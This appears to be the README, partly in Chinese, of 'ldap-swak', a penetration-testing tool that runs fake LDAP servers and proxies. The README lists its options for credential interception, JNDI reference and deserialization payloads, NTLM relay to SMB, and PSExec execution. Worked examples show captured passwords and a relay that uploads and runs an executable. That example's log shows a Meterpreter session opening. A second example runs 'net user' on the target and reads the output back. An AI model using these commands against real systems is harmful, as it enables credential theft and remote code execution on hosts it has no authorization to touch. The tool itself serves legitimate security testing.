syss-research/ldap-swakLDAP Swiss Army Knife
多功能 LDAP 服务器工具。 可快速搭建用于测试目的的 LDAP 服务器、用于拦截明文或转发 NTLM 凭据的 MitM 代理，或利用各种 Java JNDI/LDAP 客户端漏洞。
作者：Moritz Bechler（[email protected]） 项目仓库：https://github.com/SySS-Research/ldap-swak
需要 Maven。
mvn package verify
-> target/ldap-swak-0.0.5-SNAPSHOT-all.jar
直接使用相应的子命令和选项运行 JAR 文件：
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar
[...]
LDAP Swiss Army Knife
--accept-pass=<acceptPass>
Accept login using this pass
--accept-user=<acceptUser>
Accept login using this user
--bind=<bind> Network address to bind to
--cert=<certificate> Certificate file to use (PEM, in conjunction with --key)
--fakecert-bits=<fakeCertBitsize>
RSA keySize when generating private key for fake
certificates
Default: 2048
--fakecert-cn=<fakeCertCN>
Subject DN to use when creating fake certificates
Default: cn=fake
--fakecert-lifetime=<fakeCertLifetime>
Lifetime of fake certificate in days
Default: 7
--fakecert-san=<fakeCertSANs>
Fake certificate subject alternative names
--fakecert-sigalg=<fakeCertSigalg>
Signature algorithm to use when generating fake
certificates
Default: SHA256withRSA
--fakecert-validfrom=<fakeCertValidFrom>
Fake certificate validity start
--fakecert-validto=<fakeCertValidTo>
Fake certificate validity end
--key=<privateKey> Private key file to use (PEM, in conjunction with
--cert)
--keystore=<keystore> Keystore to load key/certificate from
--keystore-pass=<keystorePass>
Default: changeit
--keystore-type=<keystoreType>
Keystore type
Default: JKS
--nostarttls Disable StartTLS
--ntlm-relay=<relayServer>
Relay intecepted NTLM exchange to SMB server for PSExec
--psexec-cmd=<psexecCMD>
Using the relayed credentials, run system command using
PSExec
--psexec-cmd-log=<psexecCMDLog>
Redirect CMD command output to file (filesystem path)
--psexec-cmd-script-loc=<psexecCMDScriptLoc>
SHARE/Path for launcher script file used for output
redirection
Default: /ADMIN$/Temp/
--psexec-cmd-script-path=<psexecCMDScriptPath>
Local filesystem for launcher script file used for
output redirection
Default: C:\Windows\Temp\
--psexec-display-name=<psexecDisplayName>
Display name of service used for PSExec
--psexec-psh-encode Encode PSExec Powershell Payload
--psexec-script=<psexecPSHScript>
Using the relayed credentials, run Powershell code
using PSExec (size limits apply)
--psexec-script-file=<psexecPSHScriptFile>
Using the relayed credentials, run Powershell code from
script file using PSExec (size limits apply)
--psexec-service-name=<psexecServiceName>
Name of service used for PSExec
--relay-read-charset=<readFileCharset>
Charset for reading remote files, only relevant when
outputting
Default: UTF-8
--relay-read-from=<readFileSource>
Using the relayed credentials, read file from this
target share/path (SHARE/path/)
--relay-read-retries=<readFileRetries>
Number of retries reading the file, possibly waiting
for the command to complete, each 1 second apart
Default: 5
--relay-read-to=<readFileTarget>
Local file to store the read file data, leave empty for
stdout
--relay-write-file=<writeFileSource>
Using the relayed credentials, write this local file to
the server
--relay-write-to=<writeFileTarget>
Using the relayed credentials, write file to this
target share/path (SHARE/path/)
--request-log Log all requests
--schemaless Don't provide any schema
--server-base-dn=<baseDN>
Base DNs to report
--ssl Run a SSL/TLS listener
--tls-cipher=<tlsCiphers>
TLS ciphers to allow
see https://docs.oracle.
com/javase/9/docs/specs/security/standard-names.html
--tls-proto=<tlsProtocols>
TLS versions to allow (TLS12, TLS11, TLS10, SSLv3,
SSLv2}
--uid-attr=<uidAttrs> Attributes to extract username from DNs
--write-creds=<writeCreds>
Write intercepted credentials to this file (format:
user pass, one per line)
-h, --help Display this help message.
-p, --port=<port> Port to bind to (defaults: 389 for normal, 636 for SSL)
-q, --quiet Only show warnings and errors
-v, --verbose Specify multiple -v options to increase verbosity.
For example, `-v -v -v` or `-vvv`
-V, --version print version information and exit
Commands:
fake Launch fake LDAP server
proxy Launch proxy LDAP server
jndi Java JNDI Exploits
SSL/TLS/StartTLS 监听器在未提供其他证书时会使用自签名证书。 --tls-cipher 和 --tls-proto 可用于设置允许使用的密码套件。 但是，使用旧版算法需要调整 Java 安装的 java.security.properties 文件。 参见 https://www.java.com/en/configure_crypto.html
仅拦截凭据或向客户端提供一些数据。
附加选项：
--load= LDIF file with data to load
--schema= LDIF file containing schema definition
(if the server is not run --schemaless a basic default schema is applied)
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389
12:52:32.484 INFO FakeServer - Starting StartTLS listener on *:1389
> ldapsearch -H ldap://localhost:1389/ -ZZ -x -D cn=test -w test
ldap_bind: Invalid credentials (49)
=> 12:53:35.653 INFO CredentialsOperationInterceptor - Intercepted credentials cn=test:test
将所有请求转发到一组目标服务器。 这也会记录拦截到的凭据。
附加选项：
--server= Backend servers to connect to
--proxy-ssl Connect to backend servers using SSL
--proxy-starttls Connect to backend servers using StartTLS
--srv= Resolve backend server from DNS SRV record
(e.g. --srv _ldap._tcp.dc._msdcs.<AD-Domain>)
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar proxy -p 2389 --server localhost:1389
12:54:19.695 INFO ProxyServer - Starting StartTLS proxy on *:2389
> ldapsearch -H ldap://localhost:2389/ -ZZ -x -D cn=foo -w test -b cn=test
ldap_bind: Invalid credentials (49)
=> 12:54:47.230 INFO CredentialsOperationInterceptor - Intercepted credentials cn=foo:test
多种特定的伪造服务器模式，用于利用 Java JNDI LDAP 客户端漏洞。
选项：
--ref-class= Class to load (ObjectFactory)
--ref-codebase= URL codebase to load class from
对于所有请求，返回一个包含指定类路径中 ObjectFactory 的 JNDI 引用对象。当 JNDI 客户端使用 lookup() 语义发出请求时， 该类会被加载，从而实现代码执行。
远程类加载已从 Java 11.0.1、8u191、7u201 和 6u211（CVE-2018-3149）开始默认禁用。
也可以通过以下选项指定重定向到另一个服务器/协议 的常规引用：
--ref-address= Reference address (multiple possible)
--ref-factory= Factory class to use
选项：
--referral= URI to return as referral
配置为遵循转介的 JNDI 客户端，可以使用 rmi: URL 重定向到 RMI 服务。访问这些服务可实现反序列化攻击；在配置错误或过时的 Java 版本中，通过从 RMI 查找返回 Reference 对象即可实现 RCE。 (https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/RMIRefServer.java)
选项：
--serialized= File containing serialized data to return
对于所有请求，返回一个序列化的 Java 对象。 当 JNDI 客户端使用 lookup() 语义发出请求时， 提供的数据将被反序列化。
LDAP 服务器允许将 NTLM 交换转发到远程 SMB 服务器。 通常，这可以以认证用户账户的权限访问目标服务器的文件和 RPC 接口。
目标服务器上实现了三种基本操作：
操作顺序为便捷的写入/执行/读取。
例如，上传并启动一个 meterpreter 实例：
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --relay-write-file /tmp/test.exe --relay-write-to 'ADMIN$/Temp/foo.exe' --psexec-cmd "C:\\Windows\\Temp\\foo.exe"
10:36:53.789 INFO FakeServer - Starting StartTLS listener on *:1389
10:36:56.278 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:36:56.325 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\foo.exe
10:36:56.333 INFO PassTheHashRunner - Service already exists
10:36:56.337 INFO PassTheHashRunner - Recreated service
10:36:56.355 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary
[*] Meterpreter session 4 opened (192.168.56.1:8443 -> 192.168.56.101:49696) at 2019-02-19 10:36:56 +0100
或者，执行系统命令并获取其输出：
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --psexec-cmd "net user" --psexec-cmd-log C:\\Windows\\Temp\\test.log --relay-read-from 'ADMIN$/Temp/test.log'
10:39:09.154 INFO FakeServer - Starting StartTLS listener on *:1389
10:39:12.564 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:39:12.600 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\launch-1550569151302.cmd
10:39:12.610 INFO PassTheHashRunner - Service already exists
10:39:12.614 INFO PassTheHashRunner - Recreated service
10:39:12.632 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
mbechler WDAGUtilityAccount
The command completed with one or more errors.